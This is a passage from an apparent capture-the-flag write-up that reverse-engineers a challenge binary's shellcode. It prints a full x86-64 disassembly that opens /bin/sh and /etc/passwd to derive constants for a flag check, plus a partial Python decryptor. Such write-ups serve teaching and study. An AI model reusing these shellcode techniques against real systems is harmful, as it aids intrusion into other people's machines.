vec&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xe2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x52&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Does &lt;code&gt;0xA7&lt;/code&gt;, &lt;code&gt;0x51&lt;/code&gt;, &lt;code&gt;0x68&lt;/code&gt;, and &lt;code&gt;0x52&lt;/code&gt; look familiar? 🙃 Check the wall of bytes in &lt;code&gt;11310e&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Effectively, the Rust performs a little surgery on shellcode before using it.&lt;/p&gt;
&lt;p&gt;But how is it used? Leafing around the decompiled code, you may notice Rust IO write and read functions... those seem sus...&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;By now, you probably know what the shellcode does: &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;flag-checking&lt;/span&gt;. But there are a few more things we need to reverse...&lt;/p&gt;
&lt;p&gt;In the calculations, three mystery values (&lt;code&gt;r12&lt;/code&gt;, &lt;code&gt;r13&lt;/code&gt;, &lt;code&gt;r14&lt;/code&gt;) are used. These were computed in the preceding shellcode. To efficiently obtain our flag input from the expected output, we need to find out what these mystery values are.&lt;/p&gt;
&lt;p&gt;In case you&#39;d like to have a stab at dissecting the assembly, the full (unblemished) shellcode is in the box below. Try to figure out what &lt;code&gt;r12&lt;/code&gt;, &lt;code&gt;r13&lt;/code&gt;, and &lt;code&gt;r14&lt;/code&gt; are!&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;ul&gt;
&lt;li&gt;If you&#39;re stuck, try using GDB on our shellcode program (main.c from &lt;a href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#running-the-server&quot;&gt;Running the Server&lt;/a&gt;) with &lt;a href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#watchpoints&quot;&gt;watchpoints&lt;/a&gt;.
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Important&lt;/strong&gt;: the shellcode we saw when &lt;a href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#running-the-server&quot;&gt;starting the server&lt;/a&gt; is different from the shellcode we&#39;re reversing here! The former acts as a client, receiving commands and executing them. The latter is a flag-checker payload that is sent to the client over the network.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Here&#39;s a useful list of Linux x86-64 syscalls: &lt;a href=&quot;https://filippo.io/linux-syscall-table/&quot;&gt;filippo.io: Linux Syscall Table&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;details&gt;&lt;summary&gt;Full Shellcode&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;Have fun! :)&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-asm&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-asm&quot;&gt;   &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;54&lt;/span&gt;                      push   rsp
   &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;:   5d                      pop    rbp
   &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; f6                   xor    esi&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; esi
   &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; b9 a1 &lt;span class=&quot;token number&quot;&gt;57&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;06&lt;/span&gt; b8 &lt;span class=&quot;token number&quot;&gt;62&lt;/span&gt; 3a 9f &lt;span class=&quot;token number&quot;&gt;37&lt;/span&gt;   movabs rcx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x379f3a62b80657a1&lt;/span&gt;
   e:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; ba 8e &lt;span class=&quot;token number&quot;&gt;35&lt;/span&gt; 6f d6 4d &lt;span class=&quot;token number&quot;&gt;49&lt;/span&gt; f7 &lt;span class=&quot;token number&quot;&gt;37&lt;/span&gt;   movabs rdx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x37f7494dd66f358e&lt;/span&gt;
  &lt;span class=&quot;token number&quot;&gt;18&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; d1                xor    rcx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rdx
  1b:   &lt;span class=&quot;token number&quot;&gt;51&lt;/span&gt;                      push   rcx
  1c:   &lt;span class=&quot;token number&quot;&gt;54&lt;/span&gt;                      push   rsp
  1d:   5f                      pop    rdi
  1e:   6a &lt;span class=&quot;token number&quot;&gt;02&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x2&lt;/span&gt;
  &lt;span class=&quot;token number&quot;&gt;20&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;58&lt;/span&gt;                      pop    rax
  &lt;span class=&quot;token number&quot;&gt;21&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;99&lt;/span&gt;                      cdq
  &lt;span class=&quot;token number&quot;&gt;22&lt;/span&gt;:   0f &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;                   syscall
  &lt;span class=&quot;token number&quot;&gt;24&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;97&lt;/span&gt;                   xchg   rdi&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rax
  &lt;span class=&quot;token number&quot;&gt;26&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; c0                   xor    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; eax
  &lt;span class=&quot;token number&quot;&gt;28&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;50&lt;/span&gt;                      push   rax
  &lt;span class=&quot;token number&quot;&gt;29&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;54&lt;/span&gt;                      push   rsp
  2a:   5e                      pop    rsi
  2b:   6a &lt;span class=&quot;token number&quot;&gt;04&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x4&lt;/span&gt;
  2d:   5a                      pop    rdx
  2e:   0f &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;                   syscall
  &lt;span class=&quot;token number&quot;&gt;30&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;41&lt;/span&gt; 5c                   pop    r12
  &lt;span class=&quot;token number&quot;&gt;32&lt;/span&gt;:   6a &lt;span class=&quot;token number&quot;&gt;03&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x3&lt;/span&gt;
  &lt;span class=&quot;token number&quot;&gt;34&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;58&lt;/span&gt;                      pop    rax
  &lt;span class=&quot;token number&quot;&gt;35&lt;/span&gt;:   0f &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;                   syscall
  &lt;span class=&quot;token number&quot;&gt;37&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; f6                   xor    esi&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; esi
  &lt;span class=&quot;token number&quot;&gt;39&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; b9 3b 3b 6f c3 &lt;span class=&quot;token number&quot;&gt;63&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;64&lt;/span&gt; c0 aa   movabs rcx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xaac06463c36f3b3b&lt;/span&gt;
  &lt;span class=&quot;token number&quot;&gt;43&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; ba &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; 4c 0b c3 &lt;span class=&quot;token number&quot;&gt;63&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;64&lt;/span&gt; c0 aa   movabs rdx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xaac06463c30b4c48&lt;/span&gt;
  4d:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; d1                xor    rcx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rdx
  &lt;span class=&quot;token number&quot;&gt;50&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;51&lt;/span&gt;                      push   rcx
  &lt;span class=&quot;token number&quot;&gt;51&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; b9 8c &lt;span class=&quot;token number&quot;&gt;57&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;82&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;75&lt;/span&gt; d6 f8 a9 7d   movabs rcx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x7da9f8d67582578c&lt;/span&gt;
  5b:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; ba a3 &lt;span class=&quot;token number&quot;&gt;32&lt;/span&gt; f6 &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt; f9 &lt;span class=&quot;token number&quot;&gt;88&lt;/span&gt; c8 0e   movabs rdx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xec888f916f632a3&lt;/span&gt;
  &lt;span class=&quot;token number&quot;&gt;65&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; d1                xor    rcx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rdx
  &lt;span class=&quot;token number&quot;&gt;68&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;51&lt;/span&gt;                      push   rcx
  &lt;span class=&quot;token number&quot;&gt;69&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;54&lt;/span&gt;                      push   rsp
  6a:   5f                      pop    rdi
  6b:   6a &lt;span class=&quot;token number&quot;&gt;02&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x2&lt;/span&gt;      
  6d:   &lt;span class=&quot;token number&quot;&gt;58&lt;/span&gt;                      pop    rax
  6e:   &lt;span class=&quot;token number&quot;&gt;99&lt;/span&gt;                      cdq
  6f:   0f &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;                   syscall
  &lt;span class=&quot;token number&quot;&gt;71&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;97&lt;/span&gt;                   xchg   rdi&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rax
  &lt;span class=&quot;token number&quot;&gt;73&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; c0                   xor    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; eax
  &lt;span class=&quot;token number&quot;&gt;75&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;50&lt;/span&gt;                      push   rax
  &lt;span class=&quot;token number&quot;&gt;76&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;54&lt;/span&gt;                      push   rsp      
  &lt;span class=&quot;token number&quot;&gt;77&lt;/span&gt;:   5e                      pop    rsi
  &lt;span class=&quot;token number&quot;&gt;78&lt;/span&gt;:   6a &lt;span class=&quot;token number&quot;&gt;04&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x4&lt;/span&gt; 
  7a:   5a                      pop    rdx
  7b:   0f &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;                   syscall
  7d:   &lt;span class=&quot;token number&quot;&gt;41&lt;/span&gt; 5d                   pop    r13
  7f:   6a &lt;span class=&quot;token number&quot;&gt;03&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x3&lt;/span&gt;      
  &lt;span class=&quot;token number&quot;&gt;81&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;58&lt;/span&gt;                      pop    rax
  &lt;span class=&quot;token number&quot;&gt;82&lt;/span&gt;:   0f &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;                   syscall
  &lt;span class=&quot;token number&quot;&gt;84&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; f6                   xor    esi&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; esi
  &lt;span class=&quot;token number&quot;&gt;86&lt;/span&gt;:   6a 6f                   push   &lt;span class=&quot;token number&quot;&gt;0x6f&lt;/span&gt;
  &lt;span class=&quot;token number&quot;&gt;88&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; b9 &lt;span class=&quot;token number&quot;&gt;59&lt;/span&gt; e5 &lt;span class=&quot;token number&quot;&gt;06&lt;/span&gt; 0c 2d f6 d9 &lt;span class=&quot;token number&quot;&gt;77&lt;/span&gt;   movabs rcx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x77d9f62d0c06e559&lt;/span&gt;
  &lt;span class=&quot;token number&quot;&gt;92&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; ba &lt;span class=&quot;token number&quot;&gt;76&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;81&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;63&lt;/span&gt; 7a &lt;span class=&quot;token number&quot;&gt;02&lt;/span&gt; 8c bc &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;   movabs rdx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x5bc8c027a638176&lt;/span&gt;
  9c:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; d1                xor    rcx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rdx
  9f:   &lt;span class=&quot;token number&quot;&gt;51&lt;/span&gt;                      push   rcx
  a0:   &lt;span class=&quot;token number&quot;&gt;54&lt;/span&gt;                      push   rsp
  a1:   5f                      pop    rdi
  a2:   6a &lt;span class=&quot;token number&quot;&gt;02&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x2&lt;/span&gt;  
  a4:   &lt;span class=&quot;token number&quot;&gt;58&lt;/span&gt;                      pop    rax
  a5:   &lt;span class=&quot;token number&quot;&gt;99&lt;/span&gt;                      cdq
  a6:   0f &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;                   syscall
  a8:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;97&lt;/span&gt;                   xchg   rdi&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rax
  aa:   &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; c0                   xor    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; eax
  ac:   &lt;span class=&quot;token number&quot;&gt;50&lt;/span&gt;                      push   rax
  ad:   &lt;span class=&quot;token number&quot;&gt;54&lt;/span&gt;                      push   rsp
  ae:   5e                      pop    rsi
  af:   6a &lt;span class=&quot;token number&quot;&gt;04&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x4&lt;/span&gt;
  b1:   5a                      pop    rdx
  b2:   0f &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;                   syscall
  b4:   &lt;span class=&quot;token number&quot;&gt;58&lt;/span&gt;                      pop    rax
  b5:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; f7 d0                not    rax
  b8:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; c1 e8 1d             shr    rax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x1d&lt;/span&gt;
  bc:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;99&lt;/span&gt;                   cqo
  be:   6a &lt;span class=&quot;token number&quot;&gt;29&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x29&lt;/span&gt;
  c0:   &lt;span class=&quot;token number&quot;&gt;59&lt;/span&gt;                      pop    rcx
  c1:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; f7 f1                div    rcx
  c4:   &lt;span class=&quot;token number&quot;&gt;49&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;96&lt;/span&gt;                   xchg   r14&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rax
  c6:   6a &lt;span class=&quot;token number&quot;&gt;03&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x3&lt;/span&gt;
  c8:   &lt;span class=&quot;token number&quot;&gt;58&lt;/span&gt;                      pop    rax
  c9:   0f &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;                   syscall
  cb:   b8 ef be ad de          mov    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xdeadbeef&lt;/span&gt;
  d0:   &lt;span class=&quot;token number&quot;&gt;44&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;01&lt;/span&gt; e0                add    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; r12d
  d3:   &lt;span class=&quot;token number&quot;&gt;44&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; e8                xor    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; r13d
  d6:   c1 c8 0b                ror    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xb&lt;/span&gt;
  d9:   f7 d0                   not    eax
  db:   &lt;span class=&quot;token number&quot;&gt;44&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; f0                xor    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; r14d
  de:   3d ef be ad de          cmp    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xdeadbeef&lt;/span&gt;
  e3:   &lt;span class=&quot;token number&quot;&gt;75&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;                   jne    &lt;span class=&quot;token number&quot;&gt;0xea&lt;/span&gt;
  e5:   6a &lt;span class=&quot;token number&quot;&gt;01&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x1&lt;/span&gt;
  e7:   &lt;span class=&quot;token number&quot;&gt;58&lt;/span&gt;                      pop    rax
  e8:   eb &lt;span class=&quot;token number&quot;&gt;03&lt;/span&gt;                   jmp    &lt;span class=&quot;token number&quot;&gt;0xed&lt;/span&gt;
  ea:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; c0                xor    rax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rax
  ed:   &lt;span class=&quot;token number&quot;&gt;50&lt;/span&gt;                      push   rax
  ee:   &lt;span class=&quot;token number&quot;&gt;53&lt;/span&gt;                      push   rbx
  ef:   5f                      pop    rdi
  f0:   &lt;span class=&quot;token number&quot;&gt;54&lt;/span&gt;                      push   rsp
  f1:   5e                      pop    rsi
  f2:   6a &lt;span class=&quot;token number&quot;&gt;08&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x8&lt;/span&gt;
  f4:   5a                      pop    rdx
  f5:   6a &lt;span class=&quot;token number&quot;&gt;01&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x1&lt;/span&gt;
  f7:   &lt;span class=&quot;token number&quot;&gt;58&lt;/span&gt;                      pop    rax
  f8:   0f &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;                   syscall
  fa:   &lt;span class=&quot;token number&quot;&gt;55&lt;/span&gt;                      push   rbp
  fb:   5c                      pop    rsp
  fc:   &lt;span class=&quot;token number&quot;&gt;41&lt;/span&gt; ff e7                jmp    r15&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Assembly&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;It turns out &lt;code&gt;r12&lt;/code&gt; and &lt;code&gt;r13&lt;/code&gt; are just the first 4 bytes of &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;/bin/sh&lt;/code&gt;&lt;/span&gt; and &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;/etc/passwd&lt;/code&gt;&lt;/span&gt;, which is respectively &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&#92;x7fELF&lt;/code&gt;&lt;/span&gt; and &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;root&lt;/code&gt;&lt;/span&gt;. These correspond to &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;0x464c457f&lt;/code&gt;&lt;/span&gt; and &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;0x746f6f72&lt;/code&gt;&lt;/span&gt; in little endian. And &lt;code&gt;r14&lt;/code&gt; is just &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;0x31f3831f&lt;/code&gt;&lt;/span&gt;, computed with a bit of arithmetic. Armed with these 3 values, we can now reverse the encryption.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;ror&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;x&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; n&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    left &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; n
    right &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;x &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xFFFFFFFF&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;32&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; n&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;32&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; n&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; right &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; left

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;neg&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;x&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;join&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;01&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;c &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; c &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&#39;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;x&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token format-spec&quot;&gt;032b&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

r12 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x464c457f&lt;/span&gt;
r13 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x746f6f72&lt;/span&gt;
r14 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x31f3831f&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;shelldec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;b&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token triple-quoted-string string&quot;&gt;&quot;&quot;&quot;Reverse shellcode encryption (decryption).&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; b &lt;span class=&quot;token operator&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
